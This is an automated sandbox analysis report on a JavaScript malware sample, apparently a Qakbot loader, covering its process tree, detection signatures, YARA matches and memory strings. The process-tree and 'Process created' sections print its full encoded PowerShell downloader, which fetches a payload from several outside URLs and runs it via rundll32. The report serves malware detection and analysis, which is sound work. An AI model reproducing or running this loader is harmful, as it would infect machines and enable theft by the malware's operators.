Edit tour

Windows Analysis Report
Semischolastica.js

Overview

General Information

Sample Name:	Semischolastica.js
Analysis ID:	876155
MD5:	476fad0a9b9f0b665b416beb78b55cff
SHA1:	c5631292a9e8c5887e3674c819cd3ee4aab786dd
SHA256:	aa18039b1459c1054b2ead589186d0c3e1e02cdfebf5f4642e1b5cc13af8c104
Tags:	js
Infos:

Detection

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

JScript performs obfuscated calls to suspicious functions

Malicious sample detected (through community Yara rule)

Antivirus detection for dropped file

Wscript starts Powershell (via cmd or directly)

Encrypted powershell cmdline option found

Very long command line found

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Java / VBScript file with very long strings (likely obfuscated code)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Contains long sleeps (>= 3 min)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5812 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Semischolastica.js" MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

wscript.exe (PID: 6660 cmdline: "C:\Windows\System32\wscript.exe" "C:\ProgramData\WeigelasScribbleable.js" ProtopathicCosmographically pachisisCounterproductiveness KnowingestGemmer theoreticianRoundishness MD5: 9A68ADD12EB50DDE7586782C3EB9FF9C)

powershell.exe (PID: 6908 cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAHYAYQBuAHQAbABhAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBiAHcAQgB5AEEARwA0AEEAYQBRAEIAbQBBAEcAawBBAFkAdwBBAHUAQQBHAE0AQQBZAFEAQgB6AEEARwBFAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBNAHcAQQB1AEEARABJAEEATgBRAEEAdwBBAEMANABBAE0AUQBBADIAQQBEAGsAQQBMAGcAQQAxAEEARABjAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEkAQQBZAFEAQgAxAEEARwA0AEEAWQB3AEIAbwBBAEcAawBBAFoAUQBCAHkAQQBDADQAQQBaAHcAQgBoAEEARwAwAEEAWgBRAEIAegBBAEEAPQA9AGEAbgBuAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABjAEEATQB3AEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAFEAQQBOAGcAQQB1AEEARABFAEEATQB3AEEANQBBAEEAPQA9ACIAOwAkAGYAbABlAHQAYwBoAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAYwBBAGIAdwBCAGgAQQBHAFEAQQBaAFEAQgB5AEEARgBBAEEAYQBBAEIAaABBAEcANABBAFoAUQBCAHkAQQBHADgAQQBaAHcAQgBoAEEARwAwAEEAYQBRAEIAaABBAEMANABBAGIAQQBCAHAAQQBHADQAQQBhAHcAQQA9ACIAOwAkAFEAdQBpAHoAegBlAGUARABlAGMAZQBsAGUAcgBvAG0AZQB0AGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AUQBBAHUAQQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATgBnAEEAegBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQAiADsAJABpAG0AbQBhAHIAYwBlAHMAYwBpAGIAbABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATQBRAEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAxAEEARABVAEEATABnAEEAMwBBAEQAUQBBAEwAdwBCADYAQQBFAFEAQQBNAGcAQgBrAEEARQBJAEEATAB3AEIAMwBBAEQAUQBBAFQAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAEEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AdwBBADIAQQBDADQAQQBOAEEAQQAxAEEAQwA4AEEAVABnAEIATgBBAEUASQBBAFQAQQBBAHYAQQBHAEUAQQBSAFEAQgA1AEEARQA0AEEAYgB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQAawBBAEwAZwBBADQAQQBEAEkAQQBMAGcAQQAxAEEARABJAEEATABnAEEAMgBBAEQAVQBBAEwAdwBBAHkAQQBHAFkAQQBMAHcAQgBUAEEAQQA9AD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARQB3AEEAWgBBAEIAWABBAEcAUQBBAFIAQQBCAEcAQQBBAD0APQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBnAEEAegBBAEMANABBAE4AZwBBAHgAQQBDADgAQQBPAFEAQgBoAEEARABZAEEATgB3AEIAdwBBAEcAVQBBAGMAdwBBAHYAQQBIAGcAQQBhAEEAQgBaAEEASABnAEEAZABBAEIAUgBBAEQAQQBBAFMAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATgBRAEEAMABBAEMANABBAE0AUQBBADEAQQBEAGsAQQBMAGcAQQA1AEEARABnAEEATAB3AEIAUQBBAEgAQQBBAFYAUQBCAFoAQQBGAGcAQQBMAHcAQQA0AEEARQBZAEEATgBRAEIATgBBAEQAVQBBAE4AdwBCAEIAQQBFAG8AQQBaAEEAQQA1AEEARwBJAEEATQB3AEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABUAGUAbgBhAGkAbABsAGUAIABpAG4AIAAkAGkAbQBtAGEAcgBjAGUAcwBjAGkAYgBsAGUAIAAtAHMAcABsAGkAdAAgACIAUQAiACkAIAB7AHQAcgB5ACAAewAkAEEAcgB0AGkAZgBpAGMAaQBhAGwAaQB0AGkAZQBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATwBRAEEAdQBBAEQARQBBAE0AZwBBADIAQQBDADQAQQBNAGcAQQAwAEEARABZAEEATABnAEEANQBBAEQAWQBBACIAOwAkAGgAeQBkAHIAYQB1AGwAaQBjAEMAYQBwAHAAYQBkAG8AYwBpAGEAbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE0AUQBBAHUAQQBEAEUAQQBOAEEAQQB3AEEAQwA0AEEATQBRAEEAMABBAEQASQBBAEwAZwBBAHkAQQBEAFEAQQBNAEEAQQA9AEkAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAegBBAEMANABBAE0AUQBBADMAQQBEAFEAQQBMAGcAQQB4AEEARABrAEEATgBRAEEAdQBBAEQARQBBAE4AUQBBAHkAQQBBAD0APQBJAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQwBBAEcAdwBBAGIAdwBCAGoAQQBHAHMAQQBjAEEAQgBoAEEASABRAEEAWgBRAEEAdQBBAEgATQBBAGQAUQBCAHcAQQBIAEEAQQBiAEEAQgA1AEEAQQA9AD0ASQBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEkAQQBNAFEAQQAwAEEAQwA0AEEATQBnAEEAdwBBAEQAZwBBAEwAZwBBADAAQQBEAEkAQQBMAGcAQQA1AEEARABBAEEAIgA7ACQAaQBtAGIAcgBpAGMAYQB0AGUAbAB5ACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgB4AEEASABVAEEAYQBRAEIAawBBAEcARQBBAGIAUQBBAHUAQQBHAFUAQQBiAGcAQgBuAEEARwBrAEEAYgBnAEIAbABBAEcAVQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQA9AFgAdABJAFgAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgBRAEEAdQBBAEQARQBBAE0AUQBBAHcAQQBDADQAQQBPAEEAQQAzAEEAQwA0AEEATQBRAEEANABBAEQAWQBBAFgAdABJAFgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBnAEEAWQBRAEIAdQBBAEcAUQBBAGQAdwBCAHkAQQBHAGsAQQBjAHcAQgAwAEEAQwA0AEEAWgB3AEIAeQBBAEcARQBBAGQAQQBCAHAAQQBIAE0AQQAiADsAJABlAG4AYQBtAGkAbgBlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVABlAG4AYQBpAGwAbABlACkAKQA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAZQBuAGEAbQBpAG4AZQBzACAALQBPACAAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAHAAYQByAGEAcwBuAGkAYQBCAGUAbAB0AGUAbgBlAC4AVQBuAGgAaQB0AGMAaABlAGQARwBhAG0AYgBhAHMAOwAkAEgAYQB5AGMAbwBjAGsAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFEAQQBPAEEAQQB1AEEARABnAEEATQB3AEEAdQBBAEQAawBBAE8AUQBBAHUAQQBEAGsAQQBNAEEAQQA9AEEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBVAEEAZQBBAEIAdwBBAEgASQBBAFoAUQBCAHoAQQBIAE0AQQBhAFEAQgB2AEEARwA0AEEAYQBRAEIAegBBAEcAMABBAEwAZwBCADMAQQBHAFUAQQBZAGcAQgBqAEEARwBFAEEAYgBRAEEAPQBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAQgBBAEgATQBBAFkAdwBCAHAAQQBIAFEAQQBhAFEAQgBqAEEARwBFAEEAYgBBAEIARABBAEcARQBBAGMAZwBCADUAQQBHADgAQQBZAHcAQgBoAEEASABJAEEATABnAEIAegBBAEgAVQBBAGMAQQBCAHcAQQBHADgAQQBjAGcAQgAwAEEAQQA9AD0AQQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAE4AQQBHAGsAQQBjAHcAQgB2AEEARwBNAEEAWQBRAEIAdwBBAEcANABBAGEAUQBCAHoAQQBIAFEAQQBMAGcAQgAxAEEASABNAEEAIgA7AGkAZgAgACgAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAcABhAHIAYQBzAG4AaQBhAEIAZQBsAHQAZQBuAGUALgBVAG4AaABpAHQAYwBoAGUAZABHAGEAbQBiAGEAcwApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADIAOQA4ADAANgAwACkAewBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAGMAdwBCADAAQQBHAEUAQQBjAGcAQgAwAEEAQwBBAEEAYwBnAEIAMQBBAEcANABBAFoAQQBCAHMAQQBHAHcAQQBNAHcAQQB5AEEAQwBBAEEASgBBAEIAbABBAEcANABBAGQAZwBBADYAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAFIAQQBCAGgAQQBIAFEAQQBZAFEAQgBjAEEASABBAEEAWQBRAEIAeQBBAEcARQBBAGMAdwBCAHUAQQBHAGsAQQBZAFEAQgBDAEEARwBVAEEAYgBBAEIAMABBAEcAVQBBAGIAZwBCAGwAQQBDADQAQQBWAFEAQgB1AEEARwBnAEEAYQBRAEIAMABBAEcATQBBAGEAQQBCAGwAQQBHAFEAQQBSAHcAQgBoAEEARwAwAEEAWQBnAEIAaABBAEgATQBBAEwAQQBCAGkAQQBHAGsAQQBiAGcAQgBrAEEARABzAEEAIgA7ACQAYgByAGUAZQBjAGgAYwBsAG8AdABoAFMAbwB1AGwAZQBkACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBRAEEASABJAEEAWgBRAEIAegBBAEgAQQBBAGQAUQBCAHkAQQBIAEkAQQBaAFEAQgBrAEEARQA4AEEAZABRAEIAMABBAEcASQBBAFkAUQBCAHkAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEATABnAEIAaABBAEcATQBBAFkAdwBCAHYAQQBIAFUAQQBiAGcAQgAwAEEARwBFAEEAYgBnAEIAMABBAEgATQBBAGIAVgBaAHgAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABNAEEAYQBBAEIAcABBAEgAQQBBAGQAdwBCAHkAQQBHAGsAQQBaAHcAQgBvAEEASABRAEEAWgBRAEIAeQBBAEgAawBBAEwAZwBCADEAQQBHAHMAQQBiAFYAWgB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAGEAQQBCAGwAQQBHAFUAQQBjAGcAQgBwAEEARwBVAEEAYwB3AEIAMABBAEYAQQBBAGMAZwBCAGwAQQBHAFUAQQBiAGcAQgBwAEEARwA0AEEAWgB3AEEAdQBBAEcASQBBAGMAZwBCADEAQQBIAE0AQQBjAHcAQgBsAEEARwB3AEEAYwB3AEEAPQAiADsAJABhAGwAaQBlAG4AaQBzAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADAAQQBEAFUAQQBMAGcAQQB4AEEARABRAEEATQBBAEEAdQBBAEQASQBBAE0AdwBBADUAQQBDADQAQQBNAFEAQQAxAEEARABjAEEAIgA7AGIAcgBlAGEAawA7AH0AfQAgAGMAYQB0AGMAaAAgAHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANQA7AH0AfQA= MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 4964 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: powershell.exe PID: 6908	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x6cd89:$b2: ::FromBase64String( 0x1d7c9:$s1: -join 0x1d84f:$s1: -join 0x1d964:$s1: -join 0x1dba8:$s1: -join 0x1dbda:$s1: -join 0x1dc22:$s1: -join 0x1dc4f:$s1: -join 0x1e0ba:$s1: -join 0x1e116:$s1: -join 0x1e14e:$s1: -join 0x1e19d:$s1: -join 0x1ec00:$s1: -join 0x2063c:$s1: -join 0x2f399:$s1: -join 0xa0fcc:$s1: -join 0xae0a1:$s1: -join 0xb1473:$s1: -join 0xb1b25:$s1: -join 0xb3616:$s1: -join 0xb581c:$s1: -join

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Semischolastica.js

Avira: detected

Multi AV Scanner detection for submitted file

Source: Semischolastica.js	ReversingLabs: Detection: 13%
Source: Semischolastica.js	Virustotal: Detection: 30%			Perma Link

Antivirus detection for dropped file

Source: C:\ProgramData\WeigelasScribbleable.js

Avira: detection malicious, Label: JS/Qakbot.G

Source:	Binary string: \??\C:\Windows\symbols\dll\Microsoft.PowerShell.Commands.Utility.pdbs089 source: powershell.exe, 00000003.00000002.965250834.0000021D7D1A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb9 source: powershell.exe, 00000003.00000002.965436092.0000021D7D204000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft.PowerShell.Commands.Utility.pdbGM= source: powershell.exe, 00000003.00000002.965436092.0000021D7D24F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.pdb source: powershell.exe, 00000003.00000002.964639964.0000021D7D004000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.pdb source: powershell.exe, 00000003.00000002.965436092.0000021D7D204000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.pdbY source: powershell.exe, 00000003.00000002.964639964.0000021D7CFA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.pdb source: powershell.exe, 00000003.00000002.965436092.0000021D7D24F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdbs\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000003.00000002.965436092.0000021D7D204000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.pdb source: powershell.exe, 00000003.00000002.964639964.0000021D7CFBA000.00000004.00000020.00020000.00000000.sdmp

Source: powershell.exe, 00000003.00000002.964639964.0000021D7D004000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000003.00000002.962884479.0000021D75007000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.962884479.0000021D7514A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000003.00000002.942982234.0000021D651B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000003.00000002.942982234.0000021D64FA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000003.00000002.942982234.0000021D651B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000003.00000002.962884479.0000021D7514A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000003.00000002.962884479.0000021D7514A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000003.00000002.962884479.0000021D7514A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000003.00000002.942982234.0000021D651B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: wscript.exe, 00000000.00000003.576624721.000001CC97AFE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.576968524.000001CC99F11000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.579865423.000001CC99B10000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.579593243.000001CC99A00000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.592556553.0000017FB91B0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.592773841.0000017FB92B0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.590632857.0000017FB96B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.582806752.0000017FB72FD000.00000004.00000020.00020000.00000000.sdmp, Semischolastica.js, WeigelasScribbleable.js.0.dr	String found in binary or memory: https://github.com/imaya/zlib.js
Source: powershell.exe, 00000003.00000002.942982234.0000021D66B29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://go.micro
Source: powershell.exe, 00000003.00000002.962884479.0000021D75007000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.962884479.0000021D7514A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 6908, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAHYAYQBuAHQAbABhAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBiAHcAQgB5AEEARwA0AEEAYQBRAEIAbQBBAEcAawBBAFkAdwBBAHUAQQBHAE0AQQBZAFEAQgB6AEEARwBFAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBNAHcAQQB1AEEARABJAEEATgBRAEEAdwBBAEMANABBAE0AUQBBADIAQQBEAGsAQQBMAGcAQQAxAEEARABjAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEkAQQBZAFEAQgAxAEEARwA0AEEAWQB3AEIAbwBBAEcAawBBAFoAUQBCAHkAQQBDADQAQQBaAHcAQgBoAEEARwAwAEEAWgBRAEIAegBBAEEAPQA9AGEAbgBuAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABjAEEATQB3AEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAFEAQQBOAGcAQQB1AEEARABFAEEATQB3AEEANQBBAEEAPQA9ACIAOwAkAGYAbABlAHQAYwBoAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAYwBBAGIAdwBCAGgAQQBHAFEAQQBaAFEAQgB5AEEARgBBAEEAYQBBAEIAaABBAEcANABBAFoAUQBCAHkAQQBHADgAQQBaAHcAQgBoAEEARwAwAEEAYQBRAEIAaABBAEMANABBAGIAQQBCAHAAQQBHADQAQQBhAHcAQQA9ACIAOwAkAFEAdQBpAHoAegBlAGUARABlAGMAZQBsAGUAcgBvAG0AZQB0AGUAcgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQARQBBAE4AUQBBAHUAQQBEAEUAQQBOAGcAQQA0AEEAQwA0AEEATgBnAEEAegBBAEMANABBAE0AZwBBAHgAQQBEAE0AQQAiADsAJABpAG0AbQBhAHIAYwBlAHMAYwBpAGIAbABlACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABVAEEATQBRAEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAFEAQQAxAEEARABVAEEATABnAEEAMwBBAEQAUQBBAEwAdwBCADYAQQBFAFEAQQBNAGcAQgBrAEEARQBJAEEATAB3AEIAMwBBAEQAUQBBAFQAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAEEAQQB1AEEARABrAEEATgB3AEEAdQBBAEQARQBBAE0AdwBBADIAQQBDADQAQQBOAEEAQQAxAEEAQwA4AEEAVABnAEIATgBBAEUASQBBAFQAQQBBAHYAQQBHAEUAQQBSAFEAQgA1AEEARQA0AEEAYgB3AEEAPQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANABBAEQAawBBAEwAZwBBADQAQQBEAEkAQQBMAGcAQQAxAEEARABJAEEATABnAEEAMgBBAEQAVQBBAEwAdwBBAHkAQQBHAFkAQQBMAHcAQgBUAEEAQQA9AD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAGcAQQB1AEEARABFAEEATQBnAEEAeABBAEMANABBAE0AZwBBAHoAQQBDADQAQQBNAFEAQQB3AEEARABRAEEATAB3AEIAVQBBAEUAdwBBAFIAdwBCAG8AQQBFADQAQQBaAEEAQQB2AEEARQB3AEEAWgBBAEIAWABBAEcAUQBBAFIAQQBCAEcAQQBBAD0APQBRAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAawBBAE0AZwBBAHUAQQBEAEUAQQBNAGcAQQB4AEEAQwA0AEEATQBnAEEAegBBAEMANABBAE4AZwBBAHgAQQBDADgAQQBPAFEAQgBoAEEARABZAEEATgB3AEIAdwBBAEcAVQBBAGMAdwBBAHYAQQBIAGcAQQBhAEEAQgBaAEEASABnAEEAZABBAEIAUgBBAEQAQQBBAFMAUQBBAD0AUQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFEAQQBPAFEAQQB1AEEARABFAEEATgBRAEEAMABBAEMANABBAE0AUQBBADEAQQBEAGsAQQBMAGcAQQA1AEEARABnAEEATAB3AEIAUQBBAEgAQQBBAFYAUQBCAFoAQQBGAGcAQQBMAHcAQQA0AEEARQBZAEEATgBRAEIATgBBAEQAVQBBAE4AdwBCAEIAQQBFAG8AQQBaAEEAQQA1AEEARwBJAEEATQB3AEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJABUAGUAbgBhAGkAbABsAGUAIABpAG4AIAAkAGkAbQBtAGEAcgBjAGUAcwBjAGkAYgBsAGUAIAAtAHMAcABsAGkAdAAgACIAUQAiACkAIAB7AHQAcgB5ACAAewAkAEEAcgB0AGkAZgBpAGMAaQBhAGwAaQB0AGkAZQBzACAAPQ
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABhAHYAYQBuAHQAbABhAHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAE0AQQBiAHcAQgB5AEEARwA0AEEAYQBRAEIAbQBBAEcAawBBAFkAdwBBAHUAQQBHAE0AQQBZAFEAQgB6AEEARwBFAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAFkAQQBNAHcAQQB1AEEARABJAEEATgBRAEEAdwBBAEMANABBAE0AUQBBADIAQQBEAGsAQQBMAGcAQQAxAEEARABjAEEAYQBuAG4AcABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEkAQQBZAFEAQgAxAEEARwA0AEEAWQB3AEIAbwBBAEcAawBBAFoAUQBCAHkAQQBDADQAQQBaAHcAQgBoAEEARwAwAEEAWgBRAEIAegBBAEEAPQA9AGEAbgBuAHAAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABjAEEATQB3AEEAdQBBAEQAWQBBAE0AdwBBAHUAQQBEAFEAQQBOAGcAQQB1AEEARABFAEEATQB3AEEANQBBAEEAPQA9ACIAOwAkAGYAbABlAHQAYwBoAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEYAYwBBAGIAdwBCAGgAQQBHAFEAQQBaAFEAQgB5AEEARgBBAEEAYQBBAEIAaABBAEcANABBAFoAUQBCAHkAQQBHADgAQQBaAHcAQgBoAEEARwAwAEEAYQBRAEIAaABBAEMANABBAGIAQQBCAHAAQQBHADQAQQBhAHcAQQA9ACIAOwAkAFE